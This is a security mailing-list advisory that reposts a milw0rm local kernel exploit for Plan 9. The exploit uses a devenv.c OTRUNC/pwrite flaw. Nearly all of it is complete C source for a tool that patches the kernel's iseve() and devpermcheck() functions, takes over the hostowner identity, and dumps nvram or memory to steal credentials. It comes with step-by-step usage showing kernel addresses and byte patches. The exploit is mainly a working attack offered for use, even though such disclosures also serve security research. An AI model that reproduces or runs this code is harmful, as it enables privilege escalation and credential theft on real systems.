[EXPL] Plan 9 Kernel Local Exploit (devenv.c OTRUNC/pwrite)



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Plan 9 Kernel Local Exploit (devenv.c OTRUNC/pwrite)
------------------------------------------------------------------------


SUMMARY

Plan 9 "from Bell Labs is a research system developed at Bell Labs
starting in the late 1980s". Vulnerability in Plan 9 kernel allows
identity theft.

DETAILS

Exploit:
/* identity theft
*
* this exploit uses my devenv.c OTRUNC/pwrite vulnerability
* to overwrite specific kernel addresses to help elevate our
* privileges. this exploit is *very* picky, so you *must*
* understand the plan9 kernel and know what you are
* doing, though a best-practice usage example will
* guide new users.
*
* the exploit process is:
* 1) determine the user we're running as
* 2) determine the hostowner for the server
* 3) overwrite specific kernel addresses
* 4) write our username to '#c/hostowner'
* 5) steal credentials by copying nvram or paging
* through kernel memory for resident creds
* 6) reset previously overwritten functions
* 7) write the original username back to '#c/hostowner'
*
* a best practice usage example is to overwrite iseve() so
* the kernel is tricked into thinking we're the host owner.
* secondly, we can overwrite devpermcheck() to trick the
* kernel into thinking we have permissions to access any
* given in-kernel device file. this will give us immediate
* access to things like /srv/fscons and '#S/sdC0/nvram'.
*
* to get the address you want to overwrite, use the plan9
* debugger after you figure out which kernel the system
* is booting:
*
* cpu% acid /386/9pccpu
* /386/9pccpu:386 plan 9 boot image
*
* /sys/lib/acid/port
* /sys/lib/acid/386
* acid: print(iseve)
* 0xf018d3db
* acid: mem(iseve, "X")
* 0x8b0cec83
* acid: print(devpermcheck)
* 0xf0192a6b
* acid: mem(devpermcheck, "X")
* 0x8b14ec83
* acid: ^D
* cpu% ./itheft -n -o nvram.img -s 0,1024 \
* -k 0xf018d3db,83ec0c8b,31c040c3 \
* -k 0xf0192a6b,83ec148b,31c040c3
*
* as you can see, we overwrite the function addresses in
* kmem with:
*
* xorl %eax, %eax
* incl %eax
* retl
*
* a note on exploit effects.
* when we overwrite '#c/hostowner', the kernel
* automatically changes all processes owned by the
* previous hostowner id to the new id. when the exploit
* has obtained the target information from the kernel, it
* will write the previous hostowner id to '#c/hostowner'.
* since *your* id was now just the hostowner id, this
* second write will alter *your* bin/rc instance's owner
* to the id of the original hostowner. this may seem
* desirable, however it isn't. the reason is that despite
* having access to the hostowner's name, we don't have
* access to the hostowner's credentials. thus, access to
* their files and factotum is still disabled.
*
* therefore, it's best to immediately exit your CPU shell
* once the exploit is finished.
*
* lastly, when using a target of Tmem, expect a kernel
* panic when you trigger a page fault with a bad address.
* make sure you define an appropriate base and ceiling
* when paging through memory.
*
* NB: it'd be nice to have a memory disclosure exploit that's
* as reliable as this one to help verify whether or not the
* kernel addresses are as expected (whether or not we've
* ran bin/acid on the appropriate kernel and obtained the
* correct kernel addresses)
*
* Don "north" Bailey 12/27/06
* don.bailey@xxxxxxxxx
*
* you say the hill is too steep to climb
* you say you'd like to see me try
* you pick the place and I'll choose the time
* and I'll climb the hill in my own way
* - gilmour/waters
*/

#include <u.h>
#include <libc.h>

enum
{
False,
True,
};

enum
{
Anew,
Aold,
};

enum
{
Tmem,
Tnvram,
};

typedef struct Seg Seg;
typedef struct Kfunc Kfunc;

struct
Seg
{
ulong base;
ulong ceiling;
};

struct
Kfunc
{
int nnew;
int nold;
vlong addr;
uchar * new;
uchar * old;
Kfunc * next;
};

static int outfd;
static int envfd;
static char * us;
static Seg * seg;
static int pagesz;
static Kfunc * kf;
static char * them;
static char * outfile;
static char * envpath;
static int target = Tnvram;

static int spin(void);
static int steal(void);
static int kwrite(int);
static void usage(void);
static int addk(char * );
static int envfile(void);
static uchar gethex(char);
static void cleanup(void);
static int getpagesz(void);
static int envremove(void);
static int addseg(char * );
static void delk(Kfunc ** );
static int myidentity(void);
static int stealfile(char * );
static int youridentity(void);
static int sethostowner(char * );
static void err(const char *, ... );
static void msg(const char *, ... );
static int arguments(int, char ** );
static int userfile(char *, char ** );
static void xstrdup(char *, char ** );
static int parsebytes(char *, uchar **, int * );

void
main(int argc, char * argv[])
{
int e;

e = arguments(argc, argv);
if(!e)
usage();
else
e = spin();

cleanup();

if(e)
exits(nil);

exits("you suck as a thief");
}

static void
cleanup(void)
{
Kfunc * k;
Kfunc * l;

if(us)
free(us);
if(seg)
free(seg);
if(them)
free(them);
if(outfile)
free(outfile);
if(envpath)
free(envpath);

if(envfd > 0)
close(envfd);
if(outfd > 0)
close(outfd);

for(k = kf; k; k = l)
{
l = k->next;
delk(&k);
}
}

static void
usage(void)
{
fprint(
2,
"usage: ithief [-{n|m}] -s base,ceiling "
"-o outfile -k ... [-k ... ]\n");
}

static int
arguments(int argc, char ** argv)
{
char * p;

ARGBEGIN
{
case 'n':
{
target = Tnvram;
break;
}
case 'm':
{
target = Tmem;
break;
}
case 's':
{
p = ARGF();
if(!p)
{
err("option 's' needs an argument");
return False;
}

if(!addseg(p))
return False;

break;
}
case 'k':
{
p = ARGF();
if(!p)
{
err("option 'k' needs an argument");
return False;
}

if(!addk(p))
return False;

break;
}
case 'o':
{
p = ARGF();
if(!p)
{
err("option 'o' needs an argument");
return False;
}

if(outfile)
{
err("option 'o' already set");
return False;
}

xstrdup(p, &outfile);
break;
}
default:
{
err("unknown option '%c'", ARGC());
return False;
}
}
ARGEND

if(!kf)
{
err("at least one 'k' is required");
return False;
}

if(!seg)
{
err("one 's' is required");
return False;
}

if(!outfile)
{
err("an output file is required");
return False;
}

return True;
}

static void
err(const char * fmt, ... )
{
va_list v;

va_start(v, fmt);

fprint(2, "error: ");
vfprint(2, fmt, v);
fprint(2, "\n");

va_end(v);
}

static void
msg(const char * fmt, ... )
{
va_list v;

va_start(v, fmt);

fprint(1, "ithief: ");
vfprint(1, fmt, v);
fprint(1, "\n");

va_end(v);
}

static void
xstrdup(char * in, char ** outp)
{
char * out;
int sz;

sz = strlen(in) + 1;

out = calloc(1, sz);
if(!out)
{
perror("calloc");
abort();
}

memcpy(out, in, sz);
*outp = out;
}

static int
addk(char * p)
{
Kfunc * kp;
Kfunc * k;
char * c;
char * e;
char t;

k = calloc(1, sizeof *k);
if(!k)
{
perror("calloc");
abort();
}

for(c = p; *c && *c != ','; c++)
;
t = *c;
*c = 0;

k->addr = strtoull(p, 0, 0);
*c = t;

if(!t)
goto _fail;

for(e = ++c; *c && *c != ','; c++)
;
t = *c;
*c = 0;

if(!parsebytes(e, &k->old, &k->nold))
goto _fail;

if(!t)
goto _fail;

for(e = ++c; *c; c++)
;

if(!parsebytes(e, &k->new, &k->nnew))
goto _fail;

for(kp = kf; kp && kp->next; kp = kp->next)
;
if(!kp)
kf = k;
else
kp->next = k;

return True;

_fail:
err("invalid K syntax");
delk(&k);
return False;
}

static void
delk(Kfunc ** kp)
{
Kfunc * k;

k = *kp;
*kp = nil;

if(k->new)
free(k->new);
if(k->old)
free(k->old);

free(k);
}

static int
parsebytes(char * p, uchar ** bytesp, int * np)
{
uchar * bytes;
uchar byte;
int n;

n = strlen(p);
if(n % 2)
{
err("the byte stream must be an even length");
return False;
}

n = 0;
bytes = nil;

while(p[0] && p[1])
{
byte = gethex(p[0]) << 4 | gethex(p[1]);
bytes = realloc(bytes, (n + 1) * sizeof *bytes);
bytes[n++] = byte;
p += 2;
}

*bytesp = bytes;
*np = n;

return True;
}

static uchar
gethex(char c)
{
return (c >= '0' && c <= '9') ? c - '0' :
(c >= 'a' && c <= 'f') ? c - 'a' + 10 :
(c >= 'A' && c <= 'F') ? c - 'A' + 10 :
-1;
}

static int
spin(void)
{
outfd = create(outfile, OWRITE, 0600);
if(outfd < 0)
{
err("can't create \"%s\": %r", outfile);
return False;
}

if(!getpagesz())
return False;

if(!myidentity())
return False;

if(!youridentity())
return False;

if(!envfile())
return False;

if(!kwrite(Anew))
return False;

if(!sethostowner(us))
return False;

if(!steal())
return False;

if(!kwrite(Aold))
return False;

if(!sethostowner(them))
return False;

return envremove();
}

static int
getpagesz(void)
{
char buffer[64];
char * p;
char * q;
int fd;
int e;

fd = open("#c/swap", OREAD);
if(fd < 0)
{
err("can't open \"#c/swap\": %r");
return False;
}

e = read(fd, buffer, sizeof buffer);
if(e < 0)
{
err("can't read \"#c/swap\": %r");
close(fd);
return False;
}

close(fd);

for(p = buffer; (p - buffer) < sizeof buffer && *p != '\n'; p++)
;
for(q = ++p;
(q - buffer) < sizeof buffer && (*q != ' ' && *q != '\t');
q++)
;
*q = 0;

pagesz = strtoul(p, 0, 0);
msg("the system page size is %d", pagesz);

return True;
}

static int
myidentity(void)
{
if(!userfile("#c/user", &us))
return False;

msg("we are \"%s\"", us);
return True;
}

static int
youridentity(void)
{
if(!userfile("#c/hostowner", &them))
return False;

if(!strcmp(us, them))
{
err("we are the hostowner, genius");
return False;
}

msg("they are \"%s\"", them);
return True;
}

static int
userfile(char * uf, char ** namep)
{
char buffer[1024];
int fd;
int n;

fd = open(uf, OREAD);
if(fd < 0)
{
err("can't obtain an username from \"%s\": %r", uf);
return False;
}

n = read(fd, buffer, sizeof buffer);
if(n <= 0)
{
err("bad read on \"%s\"? %r");
close(fd);
return False;
}

if(n == sizeof buffer)
n = sizeof buffer - 1;

buffer[n] = 0;

close(fd);
xstrdup(buffer, namep);

return True;
}

static int
envfile(void)
{
char buffer[32];
char * p;
int fd;

/* easier to just create our own and rm it */

snprint(buffer, sizeof buffer, "#e/XXXXXXXXXXX");

p = mktemp(buffer);
if(!p[0] || (p[0] == '/' && !p[1]))
{
err("mktemp failed: %r");
return False;
}

msg("creating \"%s\"", p);

fd = create(p, ORDWR, 0600);
if(fd < 0)
{
err("can't create \"%s\": %r", p);
return False;
}

msg("truncating \"%s\"", p);
close(fd);

fd = open(p, OWRITE|OTRUNC);
if(fd < 0)
{
err("can't open \"%s\": %r", p);
return False;
}

msg("\"%s\" is ready for manipulation", p);

xstrdup(buffer, &envpath);
envfd = fd;

return True;
}

static int
kwrite(int obj)
{
Kfunc * k;
uchar * p;
long b;
long n;

for(k = kf; k; k = k->next)
{
if(obj == Anew)
{
p = k->new;
b = k->nnew;
}
else
{
p = k->old;
b = k->nold;
}

msg(
"writing %d %s bytes to %lluX",
b,
obj == Anew ? "new" : "old",
k->addr);

n = pwrite(envfd, p, b, k->addr);
if(n != b)
{
err("failed to write to \"%s\": %r", envpath);
return False;
}
}

return True;
}

static int
sethostowner(char * new)
{
char * test;
int fd;
int n;
int e;

fd = open("#c/hostowner", OWRITE);
if(fd < 0)
{
err("can't open \"#c/hostowner\": %r");
return False;
}

n = strlen(new);

e = write(fd, new, n);
if(e != n)
{
err("write to \"#c/hostowner\" failed: %r");
close(fd);
return False;
}

close(fd);
msg("write of \"%s\" to \"#c/hostowner\" succeeded", new);

if(!userfile("#c/hostowner", &test))
{
err("can't retrieve \"#c/hostowner\" for comparison?");
return False;
}

e = strcmp(new, test) == 0;
if(!e)
{
err(
"write on \"#c/hostowner\" succeeded but stored"
"value isn't as expected: \"%s\"",
test);
}

free(test);

return e;
}

static int
steal(void)
{
char buffer[32];

if(target == Tnvram)
return stealfile("#S/sdC0/nvram");

snprint(buffer, sizeof buffer, "#p/%d/mem", getpid());

return stealfile(buffer);
}

static int
stealfile(char * path)
{
uchar * page;
ulong addr;
long n;
int fd;

msg("opening \"%s\" for imaging", path);

fd = open(path, OREAD);
if(fd < 0)
{
err("can't open \"%s\": %r", path);
return False;
}

page = calloc(1, pagesz);
if(!page)
{
err("calloc failed: %r");
abort();
}

addr = seg->base;

while(addr < seg->ceiling)
{
n = pread(fd, page, pagesz, addr);
if(n <= 0)
{
if(n < 0)
err("read on \"%s\" failed: %r", path);
break;
}

write(outfd, page, n);
addr += n;
}

return True;
}

static int
envremove(void)
{
remove(envpath);
return True;
}

static int
addseg(char * p)
{
ulong ceiling;
ulong base;
char * c;
Seg * s;
char t;

if(seg)
{
err("only one segment can be defined");
return False;
}

for(c = p; *c && *c != ','; c++)
;
if(!*c)
{
err("invalid seg syntax");
return False;
}

t = *c;
*c = 0;

base = strtoul(p, 0, 0);
*c++ = t;

ceiling = strtoul(c, 0, 0);

if(ceiling <= base)
{
err("invalid seg syntax; ceiling <= base");
return False;
}

s = calloc(1, sizeof *s);
if(!s)
{
perror("calloc");
abort();
}

s->base = base;
s->ceiling = ceiling;

msg("using a segment of %luX -> %luX", s->base, s->ceiling);

seg = s;

return True;
}


ADDITIONAL INFORMATION

The information has been provided by milw0rm.
The original article can be found at:
<http://www.milw0rm.com/exploits/3383>
http://www.milw0rm.com/exploits/3383



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages